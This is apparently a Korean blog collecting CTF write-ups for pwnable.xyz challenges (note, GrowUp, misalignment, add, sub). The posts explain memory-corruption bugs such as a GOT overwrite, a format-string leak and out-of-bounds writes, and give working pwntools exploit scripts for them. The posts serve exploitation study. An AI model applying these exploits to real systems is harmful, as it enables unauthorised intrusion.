
[edit_desc]

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(0x20uLL);
  printf("desc: ");
  return read(0, buf, 0x20uLL);
}

 

만약 buf가 NULL이라면 malloc으로 0x20byte만큼의 메모리를 할당해 준 후 read함수로 0x20만큼 입력 값을 쓸 수 있게 해주는 함수이다.

 

어떤식으로 접근해야 할 지 바로 생각해 볼 수 있다.

 

1. edit_note함수를 이용해서 buf에 read_got를 적어준다.

2. edit_desc함수를 이용해서 read_got에 win함수의 주소를 적어준다.

3. read_int32에 있는 read함수가 호출되면서 win이 실행된다.

 

[payload]

from pwn import *

context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30016)
#p = process('./challenge')

read_got = p64(0x601248)
win = p64(0x40093c)

payload = ''
payload += "A"*32
payload += read_got

r.sendlineafter("> ", "1")
r.sendlineafter("? ", "45")
r.sendlineafter("note: ", payload)

r.sendlineafter("> ", "2")
r.sendlineafter("desc: ", win)

r.interactive()

 

근데 문제에 있던 101은 무슨 뜻이지..?

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] GrowUp  (0) 2020.04.25
[pwnable.xyz] misalignment  (0) 2020.04.17
[pwnable.xyz] add  (0) 2020.04.16

플래그는 바이너리 안에 적혀있다고 한다.

Partial RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

18살 이상인지 물어보고 이름을 입력받은 후 Welcom "name"을 출력해준다.

 

[main]

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // ST08_8
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup();
  buf = 0LL;
  v6 = 0LL;
  printf("Are you 18 years or older? [y/N]: ", argv);
  *((_BYTE *)&buf + (signed int)((unsigned __int64)read(0, &buf, 0x10uLL) - 1)) = 0;
  if ( (_BYTE)buf != 'y' && (_BYTE)buf != 'Y' )
    return 0;
  src = (char *)malloc(0x84uLL);
  printf("Name: ", &buf);
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ", src);
  printf(qword_601160, usr);
  return 0;
}

buf에 0x10byte만큼 "Are you 18 years or older?"에 대한 답변을 입력받는다.

맞다고 대답을 해야지만 다음 코드로 넘어간다.

src에 0x84byte만큼 할당을 해주고 name을 0x80byte를 src에 입력받은 뒤 usr에 strcpy로 복사를 해준다.

 

이게 끝이니까 아마 취약점은 strcpy에 있을 것이다.

usr은 0x80byte의 크기를 가지고 있다. strcpy함수는 문자열 복사 함수이기 때문에 문자열을 복사한 뒤에 널문자도 추가해준다. 즉, name에 0x80byte를 입력해놓으면 널문자는 usr[0x80]에 NULL을 입력할 수 있는 것이다.

 

usr[0x81]위치에 있는 qword_601160는 main문의 마지막에서 출력해주는 친구였다. qword_601160에 뭐가 있는지 확인해보자.

 

[setup]

unsigned int setup()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  signal(14, (__sighandler_t)handler);
  qword_601160 = &byte_601168;
  byte_601168 = '%';
  byte_601169 = 's';
  byte_60116A = '\n';
  return alarm(0x3Cu);
}

 

qword_601160에는 "%s\n" 문자열이 저장되어 있다. 만약 마지막 바이트에 널문자를 추가한다면 0x601100을 가르킬 것이다. 이 부분을 usr[20]부분이다.

 

결론적으로 usr[20]부분을 출력해줄 수 있는 것이다. 조금 위쪽을 보면 flag도 있다!

 

 

당연히 이게 진짜 flag는 아닐테지만 인증도 한번 해봤는데 역시 이건 아니다. 그러면 이 주소에 flag가 있는 것은 확인했다.

 

yes or no를 입력하는 부분에서 flag가 있는 0x601080을 써놓고 name을 입력할 때 fsb를 이용해서 스택 내용을 출력해서 위치를 찾고 그 부분을 %s로 출력해주면 된다.

 

스택을 확인해 보니까 0x601080은 9번째에 들어가 있다!

 

[payload]

from pwn import *
context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30004)

formatbug = "%p %p %p %p %p %p %p %p %s %p %p %p %p"

payload = ''
payload += "y"*8 + p64(0x601080)

r.sendafter(": ", payload)

payload = ''
payload += "A"*36 + formatbug + "A"*(0x80 - len(formatbug) - 36)

r.recvuntil("Name: ")
r.sendline(payload)
#r.sendlineafter("Name: ", payload)

r.interactive()

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] misalignment  (0) 2020.04.17
[pwnable.xyz] add  (0) 2020.04.16
[pwnable.xyz] sub  (0) 2020.04.13

Full RELRO, Canary, NX, PIE가 걸려있는 64bit 바이너리이다.

실행파일을 실행시켜보니까 add문제랑 똑같이 동작한다.

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-A0h]
  _QWORD v5[3]; // [rsp+18h] [rbp-98h]
  __int64 v6; // [rsp+30h] [rbp-80h]
  __int64 v7; // [rsp+38h] [rbp-78h]
  __int64 v8; // [rsp+40h] [rbp-70h]
  unsigned __int64 v9; // [rsp+A8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  memset(&s, 0, 0x98uLL);
  *(_QWORD *)((char *)v5 + 7) = 0xDEADBEEFLL;
  while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
  {
    v5[v8 + 6] = v6 + v7;
    printf("Result: %ld\n", v5[v8 + 6]);
  }
  if ( *(_QWORD *)((char *)v5 + 7) == 0xB000000B5LL )
    win("%ld %ld %ld", &v6);
  return 0;
}

 

v5 + 7위치에 0xDEADBEEF를 넣어준다.

v5가 0x7fffffffddf8에 위치해 있고 v5+7 부분에 0xdeadbeef가 들어가 있는 것을 확인할 수 있다.

 

v6, v7, v8에 각각 long형 정수를 입력받는다. 이때, v8이 9 이하 -7 이상이면 계속 정수 세 개를 입력받는다.

v5[v8 + 6]에 v6+v7을 연산해서 넣어준 후 v5[v8 + 6]을 출력해준다.

 

while문이 끝나고 만약 v5+7부분에 0xB000000B5가 들어가있다면 win함수를 실행시켜 준다.

 

[win]

int win()
{
  return system("cat /flag");
}

 

헷갈리니까 0xDEADBEEF가 들어간 모양을 보고 대입해보면

v5[0]에 0xb5000000 00000000을 넣고 v5[1]에 0x00000000 0b000000을 넣어주면 된다.

 

이렇게 두 개의 숫자를 넣어주자.

 

[payload]

from pwn improt *

r = remote('svc.pwnable.xyz', 30003)

r.sendline("0 -5404319552844595200 -6")
r.sendline("1 184549367 -5")
r.sendline("ryuliguseul")

r.interactive()

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] GrowUp  (0) 2020.04.25
[pwnable.xyz] add  (0) 2020.04.16
[pwnable.xyz] sub  (0) 2020.04.13
[pwnable.xyz] Welcome  (0) 2020.04.11

이전에 풀었던 sub랑 비슷한 형식의 문제인 듯 하다.

Partial RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

이번에는 정수 세개를 입력받는다.

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  __int64 v4; // [rsp+8h] [rbp-78h]
  __int64 v5; // [rsp+10h] [rbp-70h]
  __int64 v6; // [rsp+18h] [rbp-68h]
  __int64 v7[11]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v8; // [rsp+78h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    memset(v7, 0, 0x50uLL);
    printf("Input: ", argv, v7);
    if ( (unsigned int)__isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
      break;
    v7[v6] = v4 + v5;
    argv = (const char **)v7[v6];
    printf("Result: %ld", argv);
  }
  result = 0;
  __readfsqword(0x28u);
  return result;
}

 

v4, v5, v6에 long형 정수를 각각 입력받은 후, v7[v6]에 v4 + v5를 넣어준다.

이 때, v7은 0x58byte이지만 v6은 훨씬 더 큰 수를 입력할 수 있기 때문에 out of bound취약점이 발생한다.

 

[win]

int win()
{
  return system("cat /flag");
}

 

"cat /flag"를 해주는 win함수도 존재한다.

 

ret의 위치는 v7로부터 0x68만큼 떨어진 곳에 있는 것을 확인할 수 있다. 즉, 배열의 인덱스로 v7[13]에 ret가 존재한다!

그러므로 v6에는 13을 넣어주고 v4 + v5가 win의 주소가 되도록 정수를 입력하면 된다.

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] GrowUp  (0) 2020.04.25
[pwnable.xyz] misalignment  (0) 2020.04.17
[pwnable.xyz] sub  (0) 2020.04.13
[pwnable.xyz] Welcome  (0) 2020.04.11

Full RELRO, Canary, NX, PIE가 걸려있는 64bit 바이너리이다.

그냥 실행시켜봤을 때는 뭘 어떻게 하라는건지도 잘 모르겠다.

 

[main]

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+0h] [rbp-18h]
  int v5; // [rsp+4h] [rbp-14h]
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  sub_A3E();
  v4 = 0;
  v5 = 0;
  _printf_chk(1LL, "1337 input: ");
  _isoc99_scanf("%u %u", &v4, &v5);
  if ( v4 <= 4918 && v5 <= 4918 )
  {
    if ( v4 - v5 == 4919 )
      system("cat /flag");
  }
  else
  {
    puts("Sowwy");
  }
  return 0LL;
}

sub_A3E는 그냥 기본 세팅을 해주는 함수이고 그 뒤부터 보면 v4와 v5에 각각 정수를 입력해준다.

이 때 v4와 v5는 모두 4918 이하여야 한다. 그 후 v4 - v5가 4919라면 system("cat /flag")를 실행시켜준다.

 

v4와 v5는 4918이하여야 하므로 일반적으로 생각했을 때 둘의 차가 4919가 나올 수 없지만 v4와 v5는 int이기 때문에 음수 저장이 가능하다. 그러므로 v4에 "-1"을 넣고 v5에 "-4920"을 넣으면 v4 - v5 = 4919가 되는 매우 간단한 문제이다.

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] GrowUp  (0) 2020.04.25
[pwnable.xyz] misalignment  (0) 2020.04.17
[pwnable.xyz] add  (0) 2020.04.16
[pwnable.xyz] Welcome  (0) 2020.04.11

+ Recent posts